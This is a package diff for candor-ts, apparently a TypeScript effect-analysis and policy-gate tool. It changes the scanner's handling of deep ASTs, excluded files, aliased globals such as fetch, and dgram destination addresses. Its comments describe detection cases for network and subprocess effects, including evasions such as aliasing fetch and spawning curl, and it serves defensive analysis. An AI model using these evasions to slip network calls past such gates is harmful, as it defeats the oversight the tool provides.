candor-ts 0.28.2 → 0.29.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +1 -1
- package/README.md +2 -2
- package/contract.mjs +68 -7
- package/lsp.mjs +15 -3
- package/mcp.mjs +19 -3
- package/package.json +2 -2
- package/policy.mjs +156 -5
- package/query.mjs +47 -22
- package/scan-core.mjs +16 -2
- package/scan.mjs +767 -42
- package/sensitivity.mjs +2 -2
- package/transitive-recall.mjs +2 -2
package/scan.mjs
CHANGED
|
@@ -27,11 +27,12 @@ import path from "node:path";
|
|
|
27
27
|
import { fileURLToPath } from "node:url";
|
|
28
28
|
import { createRequire } from "node:module";
|
|
29
29
|
import { execFileSync } from "node:child_process";
|
|
30
|
+
import os from "node:os";
|
|
30
31
|
import { parsePolicy, evaluatePolicy, scopeMatches, parseUnknownAliases, parseNetPartners, discoverConfigText,
|
|
31
32
|
reasonClass, discoverConfigPath, policyVocabularyAnchor, policyErrorText, policyRefusalUnevaluated, policyUnreadable, policyZeroRules, fatalPolicyErrors, refusalVerdict,
|
|
32
33
|
netClassResolver, resolveReasonClasses } from "./policy.mjs";
|
|
33
34
|
import { unverifiedHoleRule, ruleUpgrade, byCodePoint, claimsToHaveJudgedNothing, reportCorruptKeys, entryCorruptKeys } from "./query-core.mjs";
|
|
34
|
-
import { printAgents } from "./contract.mjs";
|
|
35
|
+
import { printAgents, writeStdoutSync } from "./contract.mjs";
|
|
35
36
|
import { isTestPath, kappa, kappaKnows, fsKind, commandHeadEffects, hostLiteral, tablesInSql,
|
|
36
37
|
modelHostEffects, isModelHost, isModelSdkPackage, netClassesOf } from "./scan-core.mjs";
|
|
37
38
|
import { emitSurface } from "./surface.mjs";
|
|
@@ -44,7 +45,45 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
|
|
|
44
45
|
// literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
|
|
45
46
|
// Reused, never re-littered.
|
|
46
47
|
const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
|
|
47
|
-
const SPEC_VERSION = "0.
|
|
48
|
+
const SPEC_VERSION = "0.29";
|
|
49
|
+
|
|
50
|
+
// A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
|
|
51
|
+
//
|
|
52
|
+
// The AST passes recurse (`visitCalls` → `ts.forEachChild` → `visitCalls`), so a deeply nested
|
|
53
|
+
// expression exhausts the JS stack and node dies with an uncaught RangeError — a raw stack trace on
|
|
54
|
+
// stderr and exit 1. Exit 1 is the code for A VIOLATION WAS FOUND. A wrapper that reads the exit code
|
|
55
|
+
// (every CI gate does) is told the gate ran and failed the tree, when in fact nothing was analyzed and
|
|
56
|
+
// no report was written. That is the wrong side of the fail-closed line: loud, but loudly WRONG.
|
|
57
|
+
//
|
|
58
|
+
// MEASURED, this machine, `export function f(): number { return (((…1…))); }`:
|
|
59
|
+
// depth 400 → pre-⟨0.29⟩ walked it, ⟨0.29⟩ overflows the rung grew `visitCalls`'s frame
|
|
60
|
+
// depth 800 → BOTH overflow so the crash long predates the rung
|
|
61
|
+
// The rung did not introduce this; it lowered the ceiling past the fuzzer's fixed 400-deep bait and
|
|
62
|
+
// made a standing defect visible. Shrinking the frame back would return the fuzzer to green and leave
|
|
63
|
+
// the wrong exit code live one nesting level further down — the fix that deletes the evidence.
|
|
64
|
+
//
|
|
65
|
+
// Narrow ON PURPOSE: only the stack-exhaustion RangeError is translated. Every other uncaught error
|
|
66
|
+
// keeps the behaviour it had (stack on stderr, exit 1), because widening the net here would convert
|
|
67
|
+
// unknown crashes into a tidy "could not evaluate" and hide the next real bug behind a clean message.
|
|
68
|
+
//
|
|
69
|
+
// RESIDUAL, stated because it is real and NOT measured: runaway recursion in THIS code exhausts the
|
|
70
|
+
// stack exactly as a deep tree does, so such a bug would now be reported as "nests deeper than the
|
|
71
|
+
// engine can walk", and nothing here can tell the two apart. It stays LOUD either way — exit 2, no
|
|
72
|
+
// report, never a green — so the cost is a misleading message, not a wrong verdict. If this message
|
|
73
|
+
// ever appears on a SHALLOW tree, the message is the bug and the recursion is where to look.
|
|
74
|
+
process.on("uncaughtException", (e) => {
|
|
75
|
+
if (e instanceof RangeError && /Maximum call stack/i.test(e?.message ?? "")) {
|
|
76
|
+
console.error("candor-ts: this tree nests deeper than the engine can walk — the AST passes recurse, "
|
|
77
|
+
+ "and the JS stack ran out before the scan finished. NOTHING was analyzed and no report was "
|
|
78
|
+
+ "written, so this is 'could not evaluate' (exit 2), not a clean tree and not a violation. "
|
|
79
|
+
+ "Re-run with a larger stack — `node --stack-size=4000 scan.mjs …` — or scan the offending "
|
|
80
|
+
+ "file on its own to find it.");
|
|
81
|
+
process.exit(2);
|
|
82
|
+
}
|
|
83
|
+
console.error(e?.stack ?? String(e));
|
|
84
|
+
process.exit(1);
|
|
85
|
+
});
|
|
86
|
+
|
|
48
87
|
/** The `deps` / `CANDOR_DEPS` separator set — ASCII whitespace plus `:` and `,`.
|
|
49
88
|
*
|
|
50
89
|
* ONE CONSTANT BECAUSE TWO SPELLINGS WERE A SILENT GREEN. The §3.3.1 sink-over-input guard and the
|
|
@@ -130,6 +169,15 @@ See https://github.com/tombaldwin/candor`);
|
|
|
130
169
|
// value-consuming skip handles, nor produce a "lying unknown flag" error for a real flag given first.
|
|
131
170
|
const usage = "usage: candor-ts <dir | file.ts | tsconfig.json> [--out <prefix>] [--json] [--policy <file>] [--gate-json <file>] [--allow-js] [--workspace] [--agents] [--version] [--help]";
|
|
132
171
|
const argv = process.argv.slice(2);
|
|
172
|
+
// ⟨0.29⟩ THE PEEK, CHILD SIDE. Set only by this file on itself (see the peek block near the report
|
|
173
|
+
// write). A peek is handed an EXPLICIT file list by its parent — the very files the parent excluded —
|
|
174
|
+
// so it must analyse exactly those and apply NONE of the selection rules that excluded them.
|
|
175
|
+
//
|
|
176
|
+
// MEASURED before this existed: the parent handed the child a `*.test.ts` that runs `execSync("ls")`,
|
|
177
|
+
// the child's own `isTestPath` filter dropped it from `fileNames`, and the scan published
|
|
178
|
+
// `excluded: [{class:"test-file", peeked:true}]` with `outOfScope: []` under `deny Exec` — the peek
|
|
179
|
+
// reporting that it read the file and found nothing, about a file it refused to open.
|
|
180
|
+
const IS_PEEK = argv.includes("--peek-excluded");
|
|
133
181
|
// Declared HERE, above the sink guard, because the guard calls `loadCandorConfig` and that reads
|
|
134
182
|
// these: left below, they were in the temporal dead zone, the call threw, and the `catch` around it
|
|
135
183
|
// swallowed the throw — so the config channel the guard exists to enumerate was silently empty and a
|
|
@@ -279,7 +327,7 @@ const distinctOutPrefixes = (all) => {
|
|
|
279
327
|
// candor-ts: 1 source file(s) failed to parse — NOT analyzed …
|
|
280
328
|
// candor-ts: wrote 0 effectful functions (1 analyzed, 1 files) to .candor/report.json exit 0
|
|
281
329
|
// $ cat src/main.ts
|
|
282
|
-
// { "spec": "0.28", "ok": false, … } ← the operator's SOURCE, unrecoverably replaced
|
|
330
|
+
// { "spec": "0.28", "ok": false, … } ← the operator's SOURCE, unrecoverably replaced (measured at spec 0.28, informative)
|
|
283
331
|
//
|
|
284
332
|
// Unrecoverable loss of the operator's own code, reported as SUCCESS — the run destroyed the file,
|
|
285
333
|
// then dutifully disclosed the parse failure it had itself caused.
|
|
@@ -900,6 +948,11 @@ for (let i = 0; i < argv.length; i++) {
|
|
|
900
948
|
// sibling's effects instead of reading pure (the candor-ts analog of rust `--deps`, SPEC §2).
|
|
901
949
|
else if (a === "--workspace" || a === "--deps") wantWorkspace = true;
|
|
902
950
|
else if (a === "--dep-inits") wantDepInits = true;
|
|
951
|
+
// ⟨0.29⟩ INTERNAL — set only by this file's own peek spawn (see IS_PEEK). Accepted here so the child
|
|
952
|
+
// does not take the unknown-flag path, which prints a refusal and, on the `--json` route, still emits a
|
|
953
|
+
// report: the parent parsed THAT as a successful peek of an empty file set. Deliberately absent from
|
|
954
|
+
// the usage string — it is not a way to scan a file list, it is the marker that this run IS a peek.
|
|
955
|
+
else if (a === "--peek-excluded") { /* consumed; behaviour lives in IS_PEEK */ }
|
|
903
956
|
else if (a === "--out" || a === "--policy" || a === "--gate-json") {
|
|
904
957
|
const v = argv[i + 1];
|
|
905
958
|
if (v === undefined || v.startsWith("--")) {
|
|
@@ -1260,7 +1313,8 @@ function fromTsconfig(cfgPath, baseDir) {
|
|
|
1260
1313
|
}
|
|
1261
1314
|
names = [...new Set(names)];
|
|
1262
1315
|
}
|
|
1263
|
-
|
|
1316
|
+
// ⟨0.29⟩ a peek analyses the list it was handed — see IS_PEEK.
|
|
1317
|
+
return IS_PEEK ? names : names.filter((f) => !isTestPath(path.relative(baseDir, f)));
|
|
1264
1318
|
}
|
|
1265
1319
|
const stat = fs.existsSync(target) ? fs.statSync(target) : null;
|
|
1266
1320
|
if (!stat) {
|
|
@@ -1292,7 +1346,7 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
|
|
|
1292
1346
|
(function walk(d) {
|
|
1293
1347
|
for (const ent of fs.readdirSync(d, { withFileTypes: true })) {
|
|
1294
1348
|
const p = path.join(d, ent.name);
|
|
1295
|
-
if (isTestPath(path.relative(rootDir, p))) continue;
|
|
1349
|
+
if (!IS_PEEK && isTestPath(path.relative(rootDir, p))) continue; // ⟨0.29⟩ see IS_PEEK
|
|
1296
1350
|
if (ent.isDirectory()) walk(p);
|
|
1297
1351
|
else if (/\.[mc]?tsx?$/.test(ent.name) && !ent.name.endsWith(".d.ts")) fileNames.push(p);
|
|
1298
1352
|
else if (allowJs && /\.[mc]?jsx?$/.test(ent.name) && !/\.min\.js$/.test(ent.name)) fileNames.push(p);
|
|
@@ -1300,6 +1354,49 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
|
|
|
1300
1354
|
})(rootDir);
|
|
1301
1355
|
}
|
|
1302
1356
|
}
|
|
1357
|
+
// ── ⟨0.29⟩ THE SCOPE: what this run chose not to open ──────────────────────────────────────────────
|
|
1358
|
+
// `analyzed.count` is a numerator; the selection above produced it and appeared nowhere, so a consumer
|
|
1359
|
+
// could not tell whether the answer was to the question they asked. Every exclusion here is deliberate —
|
|
1360
|
+
// `isTestPath`, `.d.ts`, the tsconfig's own `include` — and being deliberate is precisely why none was
|
|
1361
|
+
// measured: a limitation written as a comment reads as considered.
|
|
1362
|
+
//
|
|
1363
|
+
// Walked ONCE from the same root, skipping the directories nobody means. CLASSES WITH COUNTS, never file
|
|
1364
|
+
// lists: an excluded set that can contain node_modules is unbounded, and a gate that prints thousands of
|
|
1365
|
+
// paths is one people scroll past.
|
|
1366
|
+
const excludedFiles = [];
|
|
1367
|
+
{
|
|
1368
|
+
const inSet = new Set(fileNames.map((f) => path.resolve(f)));
|
|
1369
|
+
const SKIP_DIR = new Set(["node_modules", ".git", "dist", "build", "out", "coverage", ".next"]);
|
|
1370
|
+
let rootIsDir = false;
|
|
1371
|
+
try { rootIsDir = fs.statSync(rootDir).isDirectory(); } catch { /* not walkable */ }
|
|
1372
|
+
if (rootIsDir) {
|
|
1373
|
+
(function walkAll(d) {
|
|
1374
|
+
let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch { return; }
|
|
1375
|
+
for (const ent of ents) {
|
|
1376
|
+
const q = path.join(d, ent.name);
|
|
1377
|
+
if (ent.isDirectory()) { if (!SKIP_DIR.has(ent.name) && !ent.name.startsWith(".")) walkAll(q); continue; }
|
|
1378
|
+
if (!PARSED_SOURCE_EXT.test(ent.name)) continue; // another language is not this engine's claim
|
|
1379
|
+
if (inSet.has(path.resolve(q))) continue; // analyzed, therefore not excluded
|
|
1380
|
+
const rel = path.relative(rootDir, q);
|
|
1381
|
+
excludedFiles.push({
|
|
1382
|
+
path: rel,
|
|
1383
|
+
cls: ent.name.endsWith(".d.ts") ? "declaration-only"
|
|
1384
|
+
: isTestPath(rel) ? "test-file"
|
|
1385
|
+
: usedTsconfig ? "outside-the-tsconfig-program"
|
|
1386
|
+
: "not-a-parsed-source",
|
|
1387
|
+
});
|
|
1388
|
+
}
|
|
1389
|
+
})(rootDir);
|
|
1390
|
+
}
|
|
1391
|
+
}
|
|
1392
|
+
const EXCLUDED_REASON = {
|
|
1393
|
+
"declaration-only": "a `.d.ts` declares types and carries no body, so there is nothing to judge in it",
|
|
1394
|
+
"test-file": "a test file describes what the HARNESS does, not what the project does",
|
|
1395
|
+
"outside-the-tsconfig-program":
|
|
1396
|
+
"the tsconfig's `include`/`exclude` did not name it, so it is not part of the program this scan "
|
|
1397
|
+
+ "analyzed — a file your build excludes may still run in CI or at install time",
|
|
1398
|
+
"not-a-parsed-source": "not in this run's parse set",
|
|
1399
|
+
};
|
|
1303
1400
|
if (fileNames.length === 0) {
|
|
1304
1401
|
console.error(`candor-ts: no TypeScript sources under ${target}`);
|
|
1305
1402
|
// An empty scan is an exit-2 cause like any other: a consumer reading the stream after it must not
|
|
@@ -1626,7 +1723,18 @@ if (wantDepInits) {
|
|
|
1626
1723
|
// banner's) that drifted from this would make the engine distrust its OWN reports at the §2.1
|
|
1627
1724
|
// staleness check (`d.candor?.version !== ENGINE_VERSION`), silently downgrading every chained dep.
|
|
1628
1725
|
const ENGINE_VERSION = `candor-ts-${PKG_VERSION}`;
|
|
1629
|
-
const crossDeps = new Map(); // hash -> {inferred:Set, hosts:[], cmds:[], paths:[], tables:[]}
|
|
1726
|
+
const crossDeps = new Map(); // hash -> {inferred:Set, hosts:[], cmds:[], paths:[], tables:[], incomplete:Set}
|
|
1727
|
+
// ⟨0.29⟩ WAS A DEPENDENCY REPORT CHAINED INTO THIS RUN? Read by the gate to disclose the bound on the
|
|
1728
|
+
// NAME-matching rule kinds. Keyed on the report being LOADED, not on a hit being applied: a dependency
|
|
1729
|
+
// whose reached function is PURE produces no hit at all, and that is precisely the fixture that caught
|
|
1730
|
+
// this gap — the operator chained a dep either way, so the name rules are blind to those crossings either
|
|
1731
|
+
// way.
|
|
1732
|
+
let depReportsRead = 0;
|
|
1733
|
+
// ⟨0.29⟩ Keyed on a report being READ, not on entries being ingested and not on a hit being applied: a
|
|
1734
|
+
// dependency whose reached function is PURE yields a report with NO entries and produces no hit, which is
|
|
1735
|
+
// exactly the fixture that caught this gap twice while I narrowed the predicate. The operator chained a
|
|
1736
|
+
// dep either way, so the name-matching rules are blind to those crossings either way.
|
|
1737
|
+
const depChained = () => depReportsRead > 0;
|
|
1630
1738
|
// Packages a loaded sibling report COVERS — exempt from the κ ledger even when a call joins no
|
|
1631
1739
|
// entry (reports omit pure functions: the silence is the purity claim, SPEC §2 rule 3 — the
|
|
1632
1740
|
// serde_json rule the Rust/JVM engines already carry; /code-review found TS missing it). Fed from
|
|
@@ -1908,6 +2016,7 @@ const corruptDepPkgs = new Set();
|
|
|
1908
2016
|
// coverage the first withheld.
|
|
1909
2017
|
const covers = stale ? staleDepPkgs : incomplete ? incompleteDepPkgs : corrupt ? corruptDepPkgs
|
|
1910
2018
|
: judgedNothing ? unjudgedDepPkgs : depCoveredPkgs; // an untrusted, self-declared-incomplete, corrupt or unjudged report grants no coverage
|
|
2019
|
+
depReportsRead += 1; // ⟨0.29⟩ see `depChained` — a dep was chained, whatever it contained
|
|
1911
2020
|
if (corrupt) console.error(`candor-ts: chained dependency report ${f} has ${corruptKeys.length} present-but-unparseable §2 key(s)`
|
|
1912
2021
|
+ ` — granted NO coverage, so calls into it read as INVISIBLE rather than pure (SPEC §2 ⟨0.24⟩): ${corruptKeys.join("; ")}`);
|
|
1913
2022
|
if (typeof d.package === "string" && d.package) covers.add(d.package);
|
|
@@ -1934,7 +2043,7 @@ const corruptDepPkgs = new Set();
|
|
|
1934
2043
|
if (!stale && entryCorruptKeys(e).length) continue;
|
|
1935
2044
|
const hashPkg = e.hash.split("#")[0];
|
|
1936
2045
|
if (hashPkg) covers.add(hashPkg);
|
|
1937
|
-
const cell = crossDeps.get(e.hash) ?? { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], netIncomplete: false };
|
|
2046
|
+
const cell = crossDeps.get(e.hash) ?? { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], incomplete: new Set(), netIncomplete: false };
|
|
1938
2047
|
for (const x of stale ? ["Unknown"] : strs(e.inferred)) cell.inferred.add(x);
|
|
1939
2048
|
// ⟨0.19⟩ THE REASON CLASS TRAVELS WITH THE UNKNOWN. Without this the join copied `inferred` and
|
|
1940
2049
|
// `invisible` only, so a dependency's `Unknown[reflect:eval]` arrived at the consumer as a bare
|
|
@@ -1976,6 +2085,11 @@ const corruptDepPkgs = new Set();
|
|
|
1976
2085
|
if (!stale) for (const b of strs(e.invisible)) cell.invisible.add(b);
|
|
1977
2086
|
if (!stale) for (const m of ["hosts", "cmds", "paths", "tables"])
|
|
1978
2087
|
for (const v of strs(e[m])) if (!cell[m].includes(v)) cell[m].push(v);
|
|
2088
|
+
// ⟨0.29⟩ …AND THE INCOMPLETENESS, which §2's chained-join clause names in the same breath as the
|
|
2089
|
+
// four surfaces above: "a join that carries the effect and drops `incomplete` lets a benign
|
|
2090
|
+
// literal in the consumer certify what the dependency declared uncertifiable". That is not a
|
|
2091
|
+
// hypothetical — it is the measured defect this field was added to close.
|
|
2092
|
+
if (!stale) for (const v of strs(e.incomplete)) cell.incomplete.add(v);
|
|
1979
2093
|
// ⟨0.20⟩ THE NET SURFACE'S INCOMPLETENESS TRAVELS WITH ITS HOSTS. `hosts` is a LOWER bound — the
|
|
1980
2094
|
// producer marks a masked/hostless Net internally (`rec.incomplete`) and publishes that judgment as
|
|
1981
2095
|
// `unknown-host` in `netClass`. The join copied the host LITERALS and not the judgment, so the
|
|
@@ -1986,8 +2100,15 @@ const corruptDepPkgs = new Set();
|
|
|
1986
2100
|
// lines up, one field over: a fail-CLOSED marker failing OPEN at the boundary. No format rung: the
|
|
1987
2101
|
// dependency already published the answer under the hash the consumer joins.
|
|
1988
2102
|
//
|
|
1989
|
-
// Read off `netClass` rather than
|
|
1990
|
-
//
|
|
2103
|
+
// Read off `netClass` rather than the incompleteness field because `unknown-host` IS Net's wire
|
|
2104
|
+
// form of it, and re-deriving one from the other would give the consumer two sources for one fact.
|
|
2105
|
+
//
|
|
2106
|
+
// ⟨0.29⟩ THE PARENTHETICAL THIS COMMENT USED TO CARRY WAS FALSE, and it cost a false all-clear.
|
|
2107
|
+
// It said `rec.incomplete` is "deliberately INTERNAL family-wide (java/rust keep it out of the
|
|
2108
|
+
// report too)". candor-rust has emitted a per-entry `incomplete` all along — SPEC §2 says so
|
|
2109
|
+
// explicitly, in the clause beside the one this engine was following — so the premise for keeping
|
|
2110
|
+
// it internal here was a statement about the family that was never true. The field is emitted and
|
|
2111
|
+
// joined now; see the `entry.incomplete` site and the join two lines below.
|
|
1991
2112
|
// Carries ONLY the incompleteness, never the classes: `known-telemetry`/`known-partner` are facts
|
|
1992
2113
|
// about the hosts already copied above, and re-deriving them from those literals is what keeps the
|
|
1993
2114
|
// consumer's `netClass` a function of the surface it can see (the property `netClassesOf` exists to
|
|
@@ -2035,6 +2156,84 @@ const corruptDepPkgs = new Set();
|
|
|
2035
2156
|
if (allowJs) { compilerOptions.allowJs = true; compilerOptions.checkJs = false; }
|
|
2036
2157
|
const program = ts.createProgram(fileNames, compilerOptions);
|
|
2037
2158
|
const checker = program.getTypeChecker();
|
|
2159
|
+
|
|
2160
|
+
/** A LOCAL ALIAS OF A GLOBAL IS STILL THAT GLOBAL — unwrap the binding to the node it was bound FROM.
|
|
2161
|
+
*
|
|
2162
|
+
* The global classifiers key on the callee/ctor NODE TEXT (`callee.text === "fetch"`,
|
|
2163
|
+
* `ctorName === "WebSocket"`), so `const send = fetch; send(url)` and `const W = WebSocket; new W(url)`
|
|
2164
|
+
* matched nothing and read PURE. Measured on published 0.29.0: `deny Net` answered exit 0 over a POST of
|
|
2165
|
+
* caller data to an external host.
|
|
2166
|
+
*
|
|
2167
|
+
* DEFINED ONCE, ON PURPOSE. This defect has now appeared in three spellings — the bare identifier, the
|
|
2168
|
+
* `globalThis.` qualifier, and the alias — each fixed where it was found. A second private copy of this
|
|
2169
|
+
* unwrap is how the fourth spelling gets missed, so the call path and the `new` path share this.
|
|
2170
|
+
*
|
|
2171
|
+
* Returns the INITIALIZER NODE, never a name, so every caller's existing shadow guard still decides: a
|
|
2172
|
+
* project-local `fetch` reached through an alias resolves to a project-local declaration and fabricates
|
|
2173
|
+
* nothing. Bounded to 4 hops and only through identifier/property-access initializers — a rebinding,
|
|
2174
|
+
* never a computed value, so this never follows a call or a conditional into a wrong answer.
|
|
2175
|
+
*/
|
|
2176
|
+
// 16, not 4: the bound exists to stop pathological input, not to decide real code. At 4 a FIVE-deep
|
|
2177
|
+
// chain tripped the fail-closed arm and charged Unknown — truthful (the analysis did stop looking)
|
|
2178
|
+
// but imprecise, and it would have fired on an ordinary chain of renamed PURE helpers too. Set it
|
|
2179
|
+
// where hand-written code never reaches it, so the honest-but-vague answer is reserved for input
|
|
2180
|
+
// that is actually pathological.
|
|
2181
|
+
const ALIAS_HOPS = 16;
|
|
2182
|
+
/** Symbols REASSIGNED somewhere in a file — `send = fetch`, `send = helper`. Built once per file.
|
|
2183
|
+
*
|
|
2184
|
+
* The unwrap below reads a declaration's INITIALIZER, and an initializer is not a value: for
|
|
2185
|
+
* `let send = fetch; send = helper; send(url)` it answered `fetch` and charged Net over a call that
|
|
2186
|
+
* reaches a pure local — a FABRICATION this fix introduced, which 0.29.0 did not have. The mirror case
|
|
2187
|
+
* is worse: `let send; send = fetch; send(url)` has no initializer at all, so the unwrap returned the
|
|
2188
|
+
* bare identifier and the call read silent-pure — the cardinal-sin spelling of the very defect the
|
|
2189
|
+
* unwrap exists to close.
|
|
2190
|
+
*
|
|
2191
|
+
* One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
|
|
2192
|
+
* know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
|
|
2193
|
+
* too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
|
|
2194
|
+
const reassignedCache = new WeakMap();
|
|
2195
|
+
const reassignedIn = (sf) => {
|
|
2196
|
+
let set = reassignedCache.get(sf);
|
|
2197
|
+
if (set) return set;
|
|
2198
|
+
set = new Set();
|
|
2199
|
+
const walk = (n) => {
|
|
2200
|
+
if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
|
|
2201
|
+
&& ts.isIdentifier(n.left)) {
|
|
2202
|
+
const sym = checker.getSymbolAtLocation(n.left);
|
|
2203
|
+
if (sym) set.add(sym);
|
|
2204
|
+
}
|
|
2205
|
+
ts.forEachChild(n, walk);
|
|
2206
|
+
};
|
|
2207
|
+
walk(sf);
|
|
2208
|
+
reassignedCache.set(sf, set);
|
|
2209
|
+
return set;
|
|
2210
|
+
};
|
|
2211
|
+
const unaliasGlobal = (expr) => {
|
|
2212
|
+
let hop = 0;
|
|
2213
|
+
for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
|
|
2214
|
+
const sym = checker.getSymbolAtLocation(expr);
|
|
2215
|
+
const decl = (sym?.declarations ?? [])[0];
|
|
2216
|
+
// ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is available, so say so.
|
|
2217
|
+
if (sym && decl && reassignedIn(decl.getSourceFile()).has(sym)) return { node: expr, truncated: true };
|
|
2218
|
+
if (!decl || !ts.isVariableDeclaration(decl) || !decl.initializer) return { node: expr, truncated: false };
|
|
2219
|
+
const init = decl.initializer;
|
|
2220
|
+
if (!ts.isIdentifier(init) && !ts.isPropertyAccessExpression(init)) return { node: expr, truncated: false };
|
|
2221
|
+
expr = init;
|
|
2222
|
+
}
|
|
2223
|
+
// THE BOUND MUST FAIL CLOSED. Stopping because the CHAIN ENDED is an answer; stopping because the
|
|
2224
|
+
// BUDGET ended is not — and the first cut of this helper returned the same thing for both, so a
|
|
2225
|
+
// 5-deep alias chain read PURE while a 4-deep one read Net. That is my own fix failing open at its
|
|
2226
|
+
// own edge: a cliff where the analysis silently stops looking. `truncated` says which happened, and
|
|
2227
|
+
// the callers charge Unknown on it — the posture this engine already takes for a callee it cannot
|
|
2228
|
+
// resolve (a parameter call reports Unknown, never nothing).
|
|
2229
|
+
const stillGoing = ts.isIdentifier(expr)
|
|
2230
|
+
&& (() => {
|
|
2231
|
+
const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
|
|
2232
|
+
return !!d && ts.isVariableDeclaration(d) && !!d.initializer
|
|
2233
|
+
&& (ts.isIdentifier(d.initializer) || ts.isPropertyAccessExpression(d.initializer));
|
|
2234
|
+
})();
|
|
2235
|
+
return { node: expr, truncated: hop >= ALIAS_HOPS && stillGoing };
|
|
2236
|
+
};
|
|
2038
2237
|
const projectFiles = new Set(fileNames.map((f) => path.resolve(f)));
|
|
2039
2238
|
const sources = program.getSourceFiles().filter((f) => projectFiles.has(path.resolve(f.fileName)));
|
|
2040
2239
|
|
|
@@ -2214,13 +2413,17 @@ function packageManifestEffects(file) {
|
|
|
2214
2413
|
}
|
|
2215
2414
|
|
|
2216
2415
|
// ---- the literal surfaces (SPEC §2 hosts/cmds/paths/tables): the statically-decidable subset ------
|
|
2217
|
-
// Read ONLY from string literals at a classified call — informative, never complete, never inferred
|
|
2218
|
-
|
|
2219
|
-
|
|
2220
|
-
|
|
2221
|
-
|
|
2222
|
-
|
|
2223
|
-
|
|
2416
|
+
// Read ONLY from string literals at a classified call — informative, never complete, never inferred,
|
|
2417
|
+
// and ALWAYS from the argument POSITION that names the locator.
|
|
2418
|
+
//
|
|
2419
|
+
// ⟨0.29⟩ `firstStringLiteral` — "the first string literal anywhere in the args" — is DELETED. It was the
|
|
2420
|
+
// reader for every locator surface except the `Exec` head, and it produced the same defect in each one it
|
|
2421
|
+
// touched: `write(userPath, "/tmp/lit")` published the bytes as the path, `send(msg, …, addr)` published
|
|
2422
|
+
// the payload as the host, `query(userSql, "SELECT * FROM audit_log")` published a parameter as the
|
|
2423
|
+
// table — each a fabricated locator that ALSO suppressed the masking guard, so a benign-looking literal
|
|
2424
|
+
// certified a destination nobody could see. Removed rather than left unused: a "first literal anywhere"
|
|
2425
|
+
// in scope is how this class comes back at the next call site somebody adds. Use
|
|
2426
|
+
// `programHeadLiteral` / `urlArgLiteral` / `fsPathLiteral` / argument 0 for SQL.
|
|
2224
2427
|
|
|
2225
2428
|
// Is this property/element access a SETTER target reached through a destructuring assignment —
|
|
2226
2429
|
// `({ k: x.prop } = src)` or `[x.prop] = arr` (sweep [32])? Walk up through PropertyAssignment /
|
|
@@ -2242,13 +2445,13 @@ function isDestructuringAssignTarget(node) {
|
|
|
2242
2445
|
}
|
|
2243
2446
|
|
|
2244
2447
|
// The literal PROGRAM head a subprocess call NAMES — argv[0] specifically, never a later argument.
|
|
2245
|
-
// Unlike
|
|
2448
|
+
// Unlike a "first literal ANYWHERE in the args" reader, this refuses to refine when
|
|
2246
2449
|
// the program (arg0) is a runtime value but a trailing arg is a literal whose basename hits the head
|
|
2247
2450
|
// table: `spawn(toolVar, "curl")` must NOT fabricate Net — the literal is an argument, not the
|
|
2248
2451
|
// program (spec §4 ⟨0.5⟩: the head is argv[0]). Mirrors candor-java programHeadLiteral and the Rust
|
|
2249
2452
|
// is_cmd_naming_method gate. Returns null when arg0 is not a static string literal — the safe
|
|
2250
|
-
// direction.
|
|
2251
|
-
//
|
|
2453
|
+
// direction. ⟨0.29⟩ the `cmds` SURFACE reads this too: it was documented as cosmetic, but `cmds` is what
|
|
2454
|
+
// `allow Exec <cmd>` gates on (AS-EFF-008).
|
|
2252
2455
|
function programHeadLiteral(node) {
|
|
2253
2456
|
const a0 = (node.arguments ?? [])[0];
|
|
2254
2457
|
return a0 && ts.isStringLiteralLike(a0) ? a0.text : null;
|
|
@@ -2262,6 +2465,54 @@ function programHeadLiteral(node) {
|
|
|
2262
2465
|
// options in the other overloads) — so those two members read arg0-or-arg1. Only STRING-LITERAL positions
|
|
2263
2466
|
// are considered; returns null when the URL slot is not a static string literal — the safe direction.
|
|
2264
2467
|
const NET_URL_ARG1_MEMBERS = new Set(["connect", "createConnection"]);
|
|
2468
|
+
// ⟨0.29⟩ dgram's `send` puts the DESTINATION ADDRESS at position 2 or 4, and position 0 is the MESSAGE.
|
|
2469
|
+
// Falling through to `litAt(0)` read the payload as the endpoint: MEASURED,
|
|
2470
|
+
// `sock.send("telemetry.example", 0, 17, 53, dst)` published `hosts: ["telemetry.example"]` with NO
|
|
2471
|
+
// `incomplete`, so `allow Net telemetry.example` answered `policy ✓` at exit 0 over a UDP send to a
|
|
2472
|
+
// runtime-controlled address. A fabricated destination masking a real one — the `Fs` content-literal
|
|
2473
|
+
// defect of this same rung, one effect over, in the one API whose locator is neither first nor second.
|
|
2474
|
+
//
|
|
2475
|
+
// Node documents exactly two overloads:
|
|
2476
|
+
// send(msg, port, address[, cb]) → address at 2, a numeric port at 1
|
|
2477
|
+
// send(msg, offset, length, port, address[, cb]) → address at 4, a numeric port at 3
|
|
2478
|
+
// so the position is recovered from the NUMERIC PORT that must precede it rather than guessed from the
|
|
2479
|
+
// argument count (a `cb` or an options object shifts nothing, and anything that does not match both
|
|
2480
|
+
// shapes returns null — the destination is then not statically visible and the caller fails closed).
|
|
2481
|
+
const isNumericLit = (a) => a && (ts.isNumericLiteral(a)
|
|
2482
|
+
|| (ts.isPrefixUnaryExpression(a) && ts.isNumericLiteral(a.operand)));
|
|
2483
|
+
function dgramSendAddressIndex(args) {
|
|
2484
|
+
